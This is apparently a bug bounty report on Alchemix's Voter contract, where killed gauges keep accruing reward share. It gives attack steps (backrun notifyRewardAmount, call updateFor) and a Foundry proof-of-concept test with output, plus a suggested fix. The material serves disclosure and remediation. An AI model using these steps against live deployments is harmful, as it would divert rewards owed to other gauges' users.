31408 - [SC - Critical] Killed Gauge continue to accrue and steal rewar...

Submitted on May 18th 2024 at 15:36:49 UTC by @savi0ur for Boost | Alchemix

Report ID: #31408

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

Theft of unclaimed yield
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Bug Description

Any rewards received by the Voter contract are indexed and distributed in proportion to each pool's weight in the _updateFor(), even if the gauge associated with that pool is killed.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L309-L322

function notifyRewardAmount(uint256 amount) external {
    require(msg.sender == minter, "only minter can send rewards");
    require(totalWeight > 0, "no votes");

    _safeTransferFrom(base, msg.sender, address(this), amount); // transfer rewards in

    uint256 _ratio = (amount * 1e18) / totalWeight; // 1e18 adjustment is removed during claim

    if (_ratio > 0) {
        index += _ratio;
    }

    emit NotifyReward(msg.sender, base, amount);
}

As we can see in notifyRewardAmount() which can be called by Minter contract whenever it need to send rewards to a Voter contract. This rewards share of each gauge based on totalWeights are stored in index variable.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L309-L322

function updateFor(address[] memory _gauges) external {
    for (uint256 i = 0; i < _gauges.length; i++) {
        _updateFor(_gauges[i]);
    }
}

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L469-L486

function _updateFor(address _gauge) internal {
    require(isGauge[_gauge], "invalid gauge");

    address _pool = poolForGauge[_gauge];
    uint256 _supplied = weights[_pool];
    if (_supplied > 0) {
        uint256 _supplyIndex = supplyIndex[_gauge];
        uint256 _index = index; // get global index0 for accumulated distro
        supplyIndex[_gauge] = _index; // update _gauge current position to global position
        uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
        if (_delta > 0) {
            uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
            claimable[_gauge] += _share;
        }
    } else {
        supplyIndex[_gauge] = index;
    }
}

In updateFor(), each gauge's claimable share is tracked in claimable mapping, which gets updated whenever there is an accumulated reward (index) and its get distributed in proportion to each gauge's weight.

Note, there is no check of whether gauge is alive while updating gauge, which will allow any reward received in Voter contract to get accrued in a killed gauges, whereas it should not get accrued for killed gauge.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L293-L298

function killGauge(address _gauge) external {
    require(msg.sender == emergencyCouncil, "not emergency council");
    require(isAlive[_gauge], "gauge already dead");
    isAlive[_gauge] = false;
    emit GaugeKilled(_gauge);
}

Gauge is killed using killGauge(), it only set isAlive[gauge] = false and is still be eligible for reward as we have shown above.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L341-L380

function distribute() external {
    uint256 start = 0;
    uint256 finish = pools.length;

    for (uint256 x = start; x < finish; x++) {
        // We don't revert if gauge is not alive since pools.length is not reduced
        if (isAlive[gauges[pools[x]]]) {
            _distribute(gauges[pools[x]]);
        }
    }

    IMinter(minter).updatePeriod();
}

function _distribute(address _gauge) internal {
    // Distribute once after epoch has ended
    require(
        block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
        "can only distribute after period end"
    );

    uint256 _claimable = claimable[_gauge];

    // Reset claimable amount
    claimable[_gauge] = 0;

    _updateFor(_gauge);

    if (_claimable > 0) {
        IBaseGauge(_gauge).notifyRewardAmount(_claimable);
    }

    IBribe(bribes[_gauge]).resetVoting();

    emit DistributeReward(msg.sender, _gauge, _claimable);
}

In distribute(), which is supposed to get called in every epoch (mostly at the start of epoch), will distribute accrued reward tracked in claimable[gauge] to each individual gauge which is alive. So whenever distribute() gets called, it will cleared claimable mapping and send those claimable reward to the gauge.

Note, claimable mapping for killed gauge is still not changed, whereas for alive gauge its cleared and those claimable reward are sent to their respective gauge.

So whenever new rewards is sent to the Voter contract, attacker could call updateFor() with the gauge address of interest (Assuming attacker's interested gauge is killed) to steal and accrue share of reward from alive gauges in killed one.

This additional accrued share of rewards gets locked in a contract until the killed gauge is revived. But it should not have accrued reward in the first place when its killed. As its accruing reward, its basically sharing the share of reward which should belong to active gauges.

Attack Step:

Attacker is interested in sushi gauge, but its already killed.
Attacker monitor notifyRewardAmount() tx, backrun this tx and call updateFor([sushiGaugeAddress]) to steal share of reward from other active gauges.

Impact

Killed Gauge continue to accrue and steal rewards from Minter contract, which should belong to active gauges.

Recommendation

Whenever gauge is killed, it should not accumulate rewards. In _updateFor(), it should send those rewards back to minter as shown below.

function _updateFor(address _gauge) internal {
    require(isGauge[_gauge], "invalid gauge");

    address _pool = poolForGauge[_gauge];
    uint256 _supplied = weights[_pool];
    if (_supplied > 0) {
        uint256 _supplyIndex = supplyIndex[_gauge];
        uint256 _index = index; // get global index0 for accumulated distro
        supplyIndex[_gauge] = _index; // update _gauge current position to global position
        uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
        if (_delta > 0) {
            uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
-           claimable[_gauge] += _share;
+			if (isAlive[_gauge]) {
+				claimable[_gauge] += _share;
+           } else {
+				IERC20(base).transfer(minter, _share);
+			}
        }
    } else {
        supplyIndex[_gauge] = index;
    }
}

Its should also send the accumulated rewards to Minter contract when killGauge() is called as shown below.

function killGauge(address _gauge) external {
    require(msg.sender == emergencyCouncil, "not emergency council");
    require(isAlive[_gauge], "gauge already dead");
    isAlive[_gauge] = false;
+   // Return claimable rewards back to minter
+   uint256 _claimable = claimable[_gauge];
+   if (_claimable > 0) {
+	    IERC20(base).transfer(minter, _claimable);
+	    claimable[_gauge] = 0;
+	}
    emit GaugeKilled(_gauge);
}

References

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L309-L322
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L309-L322
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L469-L486
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L293-L298
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L341-L380

Proof Of Concept

In PoC, we have shown how claimable mapping is updated for the gauge even when gauge is killed.

Steps to Run using Foundry:

Paste following foundry code in src/test/Voting.t.sol
Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingTest --match-test testKilledGaugeStealingShare -vv

// Check killed gauge is stealing ALCX token share from other gauge's
function testKilledGaugeStealingShare() public {
    // Create a token and vote to create votes
    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 3 weeks, false);

    uint256[] memory tokens = new uint256[](1);
    tokens[0] = tokenId1;

    address[] memory pools = new address[](2);
    pools[0] = sushiPoolAddress;
    pools[1] = balancerPoolAddress;
    uint256[] memory weights = new uint256[](2);
    weights[0] = 2500;
    weights[1] = 2500;

    hevm.prank(admin);
    voter.vote(tokenId1, pools, weights, 0);

    deal(address(alcx), address(minter), TOKEN_100K);

    uint256 minterAlcxBalance = IERC20(alcx).balanceOf(address(minter));
    assertEq(minterAlcxBalance, TOKEN_100K, "minter should have balance");

    uint256 voterAlcxBalance = IERC20(alcx).balanceOf(address(voter));
    assertEq(voterAlcxBalance, 0, "voter should have no balance");

    hevm.startPrank(address(minter));
    alcx.approve(address(voter), TOKEN_100K);
    voter.notifyRewardAmount(TOKEN_100K);
    hevm.stopPrank();

    uint256 minterAlcxBalanceAfter = IERC20(alcx).balanceOf(address(minter));
    assertEq(minterAlcxBalanceAfter, 0, "minter should have distributed its balance");

    uint256 voterAlcxBalanceAfter = IERC20(alcx).balanceOf(address(voter));
    assertEq(voterAlcxBalanceAfter, TOKEN_100K, "voter should have received balance");

    address[] memory gauges = new address[](2);
    gauges[0] = address(sushiGauge);
    gauges[1] = address(balancerGauge);
    voter.updateFor(gauges);

    uint claimableForSushiGaugeBefore = voter.claimable(address(sushiGauge));
    console.log("claimableForSushiGaugeBefore:", claimableForSushiGaugeBefore);
    uint claimableForBalancerGaugeBefore = voter.claimable(address(balancerGauge));
    console.log("claimableForBalancerGaugeBefore:", claimableForBalancerGaugeBefore);

    // Kill Sushi Gauge
    console.log("");
    console.log("Kill SushiGauge");
    hevm.prank(admin);
    voter.killGauge(address(sushiGauge));

    deal(address(alcx), address(minter), TOKEN_100K);
    hevm.startPrank(address(minter));
    alcx.approve(address(voter), TOKEN_100K);
    voter.notifyRewardAmount(TOKEN_100K);
    hevm.stopPrank();

    voter.updateFor(gauges);

    console.log("");
    uint claimableForSushiGaugeAfter = voter.claimable(address(sushiGauge));
    console.log("claimableForSushiGaugeAfter:", claimableForSushiGaugeAfter);
    uint claimableForBalancerGaugeAfter = voter.claimable(address(balancerGauge));
    console.log("claimableForBalancerGaugeAfter:", claimableForBalancerGaugeAfter);

    console.log("");
    // Claimable amount should increase for BalancerGauge
    console.log("Claimable amount should increase for BalancerGauge (claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore):", claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore);
    assertTrue(claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore);
    // Claimable amount should not increase for SushiGauge as its killed
    console.log("Claimable amount should not increase for SushiGauge as its killed (claimableForSushiGaugeBefore == claimableForSushiGaugeAfter):", claimableForSushiGaugeBefore == claimableForSushiGaugeAfter);
    assertFalse(claimableForSushiGaugeBefore == claimableForSushiGaugeAfter);
}

Console Output:

> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingTest --match-test testKilledGaugeStealingShare -vv

Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testKilledGaugeStealingShare() (gas: 2772935)
Logs:
  claimableForSushiGaugeBefore: 49999999999999999999999
  claimableForBalancerGaugeBefore: 49999999999999999999999
  
  Kill SushiGauge

  claimableForSushiGaugeAfter: 99999999999999999999998
  claimableForBalancerGaugeAfter: 99999999999999999999998

  Claimable amount should increase for BalancerGauge (claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore): true
  Claimable amount should not increase for SushiGauge as its killed (claimableForSushiGaugeBefore == claimableForSushiGaugeAfter): false

Previous31407 - [SC - Insight] Alchemist is given over Allowance through Reven...Next31409 - [SC - Critical] Users can grief Bribe rewards forcing them to b...

Last updated 19 days ago